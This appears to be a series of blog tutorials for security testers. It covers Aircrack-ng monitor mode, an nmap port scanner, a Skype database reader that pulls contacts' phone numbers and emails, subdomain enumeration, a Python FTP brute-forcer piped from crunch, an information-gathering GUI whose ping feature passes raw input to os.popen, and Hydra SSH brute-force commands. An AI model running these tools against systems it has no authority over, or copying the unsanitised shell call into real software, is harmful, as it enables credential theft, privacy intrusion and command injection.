Aircrack-ng and CentOS 7

This time i will show you, how to install Aircrack-ng on CentOS 7. My CentOS 7 (CentOS Linux release 7.2.1511 x64) is a virtual maschine on VirtualBox (5.0). As wireless USB Adapter i use TP-Link TL-WN822N.

Preparation

  • CentOS 7 VM created and started
  • SSH access (optional)
# add epel repository
$ yum install -y epel-release

# install wireless-tools
$ yum install -y wireless-tools

# check wifi
$ iwconfig
$ ip addr

Install Aircrack-ng

# install needed software
$ yum install -y git-svn libpcap-devel sqlite-devel gcc gcc-c++ libnl-devel openssl-devel usbutils pciutils rfkill

# get latests version (my was Aircrack-ng 1.2 rc3 r2799)
$ svn co http://svn.aircrack-ng.org/trunk/ aircrack-ng

# Compiling
$ cd aircrack-ng/
$ make install clean

Usage

# kill interfering processes
$ airmon-ng check kill

# set interface into monitor mode (my interface is wlp0s11u1)
$ airmon-ng start wlp0s11u1

# start packet capturing
$ airodump-ng wlp0s11u1mon

# stop monitor mode
$ airmon-ng stop wlp0s11u1mon

Simple port scanner with Python

If you like Python and NMap … there is a very good wrapper from Alexandre Norman! This tutorial show a very simple example for usage.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import nmap


def port_scan(target, ports):
    """
    Simple NMap port scanner example

    @param target: host for scan
    @type target: string
    @param ports: ports for scan
    @type ports: string
    """

    nmap_scan = nmap.PortScanner()
    nmap_scan.scan(str(target), str(ports))

    for host in nmap_scan.all_hosts():
        print '=' * 80
        print 'Host:\t%s' % host
        print 'State:\t%s\n' % nmap_scan[host].state()

        for protocol in nmap_scan[host].all_protocols():
            print 'Protocol(s): %s' % protocol

            port_list = list(nmap_scan[host][protocol].keys())
            port_list.sort()

            for port in port_list:
                print '\n[+] Port: %s' % port
                print '[+] State: %s' % nmap_scan[host][protocol][port]


if __name__ == '__main__':
    port_scan('192.168.192.1', '1-1000')

For running see following lines:

# change execution
$ chmod u+x example.py

# start script
$ python -B ./example.py

 

Collecting Skype information with own python package

This time i will present 2 tutorials in one. One part describe how to create a simple Python package. The other part gives security testers a hint for sensible data. It is recommended to work with python virtualenv!

Preconditions

  • Python 2.7.x
  • pip, virtualenv, setuptools
  • Skype

Background

Skype stores sensible data, unencrypted, in a simple sqlite database (main.db). You would be surprised what information can be found there!

Example Locations

  • Mac OS – /Users/Library/Application Support/Skype/main.db
  • Windows – C:\Documents and Settings\Application Data\Skype\main.db

Python Package

.
├── MANIFEST.in
├── README.rst
├── SkypeSpy
│   └── __init__.py
└── setup.py
# -*- coding: utf-8 -*-
from setuptools import setup


def readme():
    with open('README.rst') as f:
        return f.read()

setup(
    name='SkypeSpy',
    version='1.0.0',
    description='Read values from Skype sqlite',
    long_description=readme(),
    url='<domain>',
    author='<author>',
    author_email='<email>',
    license='<license>',
    packages=['SkypeSpy'],
    include_package_data=True
)
SkypeSpy
--------

To use (with caution), simply do::

    >>> from SkypeSpy import SkypeInformation
    >>> SkypeInformation.set_db_path('path')
    >>> print SkypeInformation.get_accounts()
    >>> print SkypeInformation.get_contacts()
include README.rst
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sqlite3


class SkypeInformation(object):

    __DATABASE_PATH = str()

    @staticmethod
    def set_db_path(db_path):

        SkypeInformation.__DATABASE_PATH = str(db_path)

    @staticmethod
    def __read_from_db(sql_statement):
        """
        Read testsuite from sqlite file

        @type sql_statement: string
        @param sql_statement: sqlite select statement
        @return: list
        """

        db = sqlite3.connect(SkypeInformation.__DATABASE_PATH)
        statement = str(sql_statement)

        try:
            cursor = db.cursor()
            cursor.execute(statement)
            values = cursor.fetchall()
        except sqlite3.Error:
            values = list()
        finally:
            db.close()

        return values

    @staticmethod
    def get_accounts():

        statement = """SELECT DISTINCT
                       liveid_membername, skypename, fullname, gender,
                       languages, country, province, city, phone_home,
                       phone_office, phone_mobile, emails, homepage
                       FROM Accounts;"""

        return SkypeInformation.__read_from_db(statement)

    @staticmethod
    def get_contacts():

        statement = """SELECT DISTINCT
                       skypename, fullname, gender, languages, country,
                       province, city, phone_home, phone_office, phone_mobile,
                       emails, homepage
                       FROM Contacts;"""

        return SkypeInformation.__read_from_db(statement)

Install and execute

You can now create another environment (with virtualenv) and install the package.

# install via pip
$ pip install file:///path/to/SkypeSpy
#!/usr/bin/env python
import os
from SkypeSpy import SkypeInformation


def run():
    my_path = '/path/to/main.db'
    if os.path.exists(my_path):
        SkypeInformation.set_db_path(my_path)
        print SkypeInformation.get_contacts()
        print SkypeInformation.get_accounts()

if __name__ == '__main__':
    run()

More

There are other tables with information! Expand the package as desired.

Find out subdomains

One way of finding out subdomains are wordlists. Knockpy offers exactly this possibility! It is written in Python, easy to install and to use. The usage of own wordlists is possible, too. The output displayed in the terminal and saved in CSV file.

Precondition

  • Python installed

Installation

# install with pip
$ sudo pip install https://github.com/guelfoweb/knock/archive/knock3.zip

Usage

# usage with internal wordlist
$ knockpy domain.com

# usage with own wordlist
$ knockpy domain.com -w wordlist.txt

# resolve domain name
$ knockpy -r domain.com

# check zone transfer
$ knockpy -r domain.com

FTP Brute-force attack

As a penetration tester you may need to check your FTP Server(s). One possibilty is brute-force passwords to auditing. This tutorial show you how easy you can use Python to create such a tool.

Precondition

  • Python installed
  • Crunch installed (Tutorial)

Create Python Script

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import argparse
import ftplib
import socket
import sys
from datetime import datetime


class FtpCrack(object):

    def __init__(self, host, username='', password=''):
        if not host:
            print "[*] Error: no host given"
            sys.exit(2)
        else:
            self.start = datetime.now()
            self.host = host
            self.username = username
            self.password = password
            self.ftp = None

    def _close_ftp_connection(self):
        self.ftp.quit()
        print "[*] Close FTP connection after ", datetime.now() - self.start

    def _list_ftp_directory(self):
        try:
            print "[*] List FTP directory content"
            self.ftp.dir()
        except ftplib.all_errors:
            print "[*] ERROR: Cannot list content"
        self._close_ftp_connection()

    def ftp_connect(self):
        try:
            self.ftp = ftplib.FTP(self.host)
        except (socket.error, socket.gaierror) as err:
            print "[*] Cannot connect to %s" % self.host
            print "[*] Error %s" % err
            sys.exit(2)

        print "[*] Connected to %s" % self.host

    def _ftp_anonymous_login(self):
        try:
            self.ftp.login()
        except ftplib.error_perm:
            print "[*] ERROR: cannot login anonymously"
            self._close_ftp_connection()
            sys.exit(2)

        print "[*] Anonymous login"
        self._list_ftp_directory()

    def _ftp_credential_login(self):
        print "[*] User: %s - Password: %s" % (self.username, self.password)
        try:
            self.ftp.login(self.username, self.password)
        except ftplib.error_perm:
            print "[*] ERROR: wrong credentials"
            self._close_ftp_connection()
            sys.exit(2)

        print "[*] Login with credentials"
        self._list_ftp_directory()

    def ftp_login(self):
        if not self.username or not self.password:
            self._ftp_anonymous_login()
        else:
            self._ftp_credential_login()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Brute-force FTP')
    parser.add_argument('host', help='target host or ip')
    parser.add_argument('-u', '--usr', help='login user name')
    parser.add_argument('-p', '--pwd', help='login password')
    args = parser.parse_args()

    RUN = FtpCrack(args.host, args.usr, args.pwd)
    RUN.ftp_connect()
    RUN.ftp_login()

The code should be clear and self-explanatory.

Usage examples

# show help
$ ./FtpCrack.py -h

# example anonymous ftp
$ ./FtpCrack.py <host>

# example with credentials
$ ./FtpCrack.py <host> -u <user> -p <password>

# example crunch (pipe to password)
$ ./crunch 3 3 abc | xargs -I password ./FtpCrack.py <host> -u <user> -p password

You can extend the code, for example to read the content from wordlists.

Create information gathering test application

It is time again for an extensive tutorial. This time, a tiny test application for passive and active information gathering. After the instruction you are welcome to improve the application with more features! Okay let’s start…

What should it do?

The security tester selects a information gathering method first. As second step the testers insert the URL or IP in a testfield and press a button. The result should printed out in a text area. The GUI should look like this:

Sensei Mockup

How it is implemented?

The prefered language is Python 2.7. So it is portable to different OS and for the most of methods are already packages available. The GUI is done with Tkinter. Tkinter provides all objects which are needed as widgets and ranges for this scope out completely. The file and folder structure look like:

├── essential
│   ├── __init__.py
│   └── timestop.py
├── gathering
│   ├── __init__.py
│   ├── geolocation.py
│   ├── icmpping.py
│   ├── information.py
│   ├── wappalyzer.py
│   └── whoisgathering.py
├── requirements.txt
└── sensei.py

File content

Files in root directory:

requests
python-Wappalyzer
python-whois
#!/usr/bin/env python
#  -*- coding: utf-8 -*-
from urlparse import urlparse
from gathering import IcmpPing, WhoisGathering, GeoLocation, WappAlyzer
from Tkinter import (Tk, Frame, StringVar, OptionMenu, Entry, Button, Text,
                     W, E, END, FALSE)


class Sensei(object):

    def __init__(self):
        self.root = Tk()
        self.root.title('Sensei')
        self.root.resizable(width=FALSE, height=FALSE)
        self.select = [
            'ICMP Ping', 'Whois', 'GeoLocation', 'Wappalyzer'
        ]
        self.option = StringVar(self.root)
        self.option.set(self.select[0])
        self.method = None
        self.url = None
        self.result = None

    def create_gui(self):
        self._top_frame()
        self._output_frame()
        self.root.mainloop()

    def quite_app(self):
        self.root.quit()

    def _start_request(self):
        self.result.delete(1.0, END)
        action = None
        target = self.url.get()
        method = self.option.get()
        if method == 'ICMP Ping':
            action = IcmpPing()
        elif method == 'Whois':
            action = WhoisGathering()
        elif method == 'GeoLocation':
            action = GeoLocation()
        elif method == 'Wappalyzer':
            action = WappAlyzer()
        if target:
            action.set_target(target)
            action.do_request()
            value = action.get_result()
        else:
            value = 'Internal Error'
        self.result.insert(END, value)

    def check_protocol(self, value):
        target = self.url.get()
        if value == 'Wappalyzer':
            if 'http' not in target:
                self.url.insert(0, 'http://')
        else:
            if 'http' in target:
                new_target = urlparse(target)
                self.url.delete(0, END)
                self.url.insert(0, new_target[1])

    def _top_frame(self):
        top_frame = Frame(self.root)
        top_frame.grid(column=0, row=0, sticky=W+E)
        self.method = OptionMenu(
            top_frame, self.option, *self.select, command=self.check_protocol
        )
        self.method.config(width=15)
        self.method.grid(column=0, row=0)
        self.url = Entry(top_frame, width=50)
        self.url.grid(column=1, row=0)
        Button(top_frame, text='Request', command=self._start_request).grid(
            column=2, row=0)
        Button(top_frame, text='Close', command=self.quite_app).grid(
            column=3, row=0)

    def _output_frame(self):
        output_frame = Frame(self.root)
        output_frame.grid(column=0, row=2, sticky=W+E)
        self.result = Text(output_frame, height=15)
        self.result.grid(column=0, row=0)


if __name__ == '__main__':
    RUN = Sensei()
    RUN.create_gui()

Files in essential:

#!/usr/bin/env python
#  -*- coding: utf-8 -*-
from essential.timestop import TimeStop
#!/usr/bin/env python
#  -*- coding: utf-8 -*-
from datetime import datetime


class TimeStop(object):
    """missing docstring"""

    __start = None

    @classmethod
    def start_measure(cls):
        cls.__start = datetime.now()

    @classmethod
    def stop_measure(cls):
        stop = datetime.now()
        total = stop - cls.__start
        return ">>>> request complete in " + str(total)

Files in gathering:

#!/usr/bin/env python
#  -*- coding: utf-8 -*-

from gathering.information import InformationGathering
from gathering.icmpping import IcmpPing
from gathering.whoisgathering import WhoisGathering
from gathering.geolocation import GeoLocation
from gathering.wappalyzer import WappAlyzer
#!/usr/bin/env python
#  -*- coding: utf-8 -*-


class InformationGathering(object):

    def __init__(self):
        self.errors = 0
        self.target = ''
        self.result = ''

    def set_target(self, target):
        victim = target.strip(' \t\n\r')
        if not victim:
            self.errors += 1
            self.result = 'No target given!'
        else:
            self.target = target

    def get_result(self):
        return self.result
#!/usr/bin/env python
#  -*- coding: utf-8 -*-
from gathering.information import InformationGathering
from essential.timestop import TimeStop
import os
import platform


class IcmpPing(InformationGathering):

    COMMAND = ''

    def __create_command(self):
        operation_system = platform.system()
        if operation_system == "Windows":
            self.COMMAND = "ping -n 1 "
        elif operation_system == "Linux":
            self.COMMAND = "ping -c 1 "
        else:
            self.COMMAND = "ping -c 1 "

    def do_request(self):
        if self.errors == 0:
            self.__create_command()
            command = self.COMMAND + self.target
            TimeStop.start_measure()
            response = os.popen(command)
            for line in response.readlines():
                self.result += line
            self.result += TimeStop.stop_measure()
#!/usr/bin/env python
#  -*- coding: utf-8 -*-
from gathering.information import InformationGathering
from essential.timestop import TimeStop
import whois


class WhoisGathering(InformationGathering):

    def do_request(self):
        if self.errors == 0:
            TimeStop.start_measure()
            result = whois.whois(self.target)
            self.result += result.text
            self.result += TimeStop.stop_measure()
#!/usr/bin/env python
#  -*- coding: utf-8 -*-
from gathering.information import InformationGathering
from essential.timestop import TimeStop
import requests


class GeoLocation(InformationGathering):

    API = 'http://ip-api.com/json/'

    def do_request(self):
        if self.errors == 0:
            target = self.API + self.target
            TimeStop.start_measure()
            response = requests.get(target)
            output = response.json()
            for key, val in output.items():
                if val:
                    self.result += str(key) + " => " + str(val) + "\n"
            self.result += TimeStop.stop_measure()
#!/usr/bin/env python
#  -*- coding: utf-8 -*-
from gathering.information import InformationGathering
from essential.timestop import TimeStop
from Wappalyzer import Wappalyzer, WebPage


class WappAlyzer(InformationGathering):

    def do_request(self):
        if self.errors == 0:
            TimeStop.start_measure()
            wappalyzer = Wappalyzer.latest()
            website = WebPage.new_from_url(self.target)
            output = wappalyzer.analyze(website)
            for val in output:
                self.result += " => " + str(val) + "\n"
            self.result += TimeStop.stop_measure()

That was it. The result looks like this:

Sensei

Improve it with your ideas!

Geolocation and Python

There are a lot of different services where you can ask the Geolocation for IP and/or Domains. With python it is very easy to make requests on that APIs. As security tester you can use it on the discovery term.

Example:

#!/usr/bin/env python
#  -*- coding: utf-8 -*-

import requests
import sys


class GeoLocation(object):

    def __init__(self):
        self.url = 'http://ip-api.com/json/'

    def parse_args(self):
        self.url = self.url + sys.argv[1]

    def get_args(self):
        usr_input = raw_input("Insert ip/url: ")

        if not usr_input:
            sys.exit(1)
        else:
            self.url = self.url + usr_input

    def show_results(self):
        response = requests.get(self.url)
        output = response.json()

        for key, val in output.items():
            if val:
                print key, "=>", val


if __name__ == '__main__':
    RUN = GeoLocation()
    if len(sys.argv) < 2:
        RUN.get_args()
    else:
        RUN.parse_args()
    RUN.show_results()

 

Simple ssh brute-force attack with Hydra

With Hydra you can recover your SSH credentials. Here a tiny tutorial how it works.

Installation

I do install via ports but also different other possibilities are available.

# update macports (optional)
$ sudo port selfupdate

# search port (optional)
$ port search hydra

# check dependencies (optional)
$ port rdeps hydra

# install port
$ sudo port install hydra

Test preparation

Now create two files (or download anywhere)

# create password file
$ vim passwords.txt

# create users file
$ vim users.txt

Create some content (by line) and start the ssh brute-force with Hydra.

Run SSH password recover

# use password.txt only
$ hydra -l root -P passwords.txt <target> ssh

# use user.txt only
$ hydra -L users.txt -p 12345 <target> ssh

# use user and password files
$ hydra -L users.txt -P passwords.txt <target> ssh

If Hydra found something, the message looks like:

[22][ssh] host: <target> login: <user> password: <password>

Note: for legal purposes only!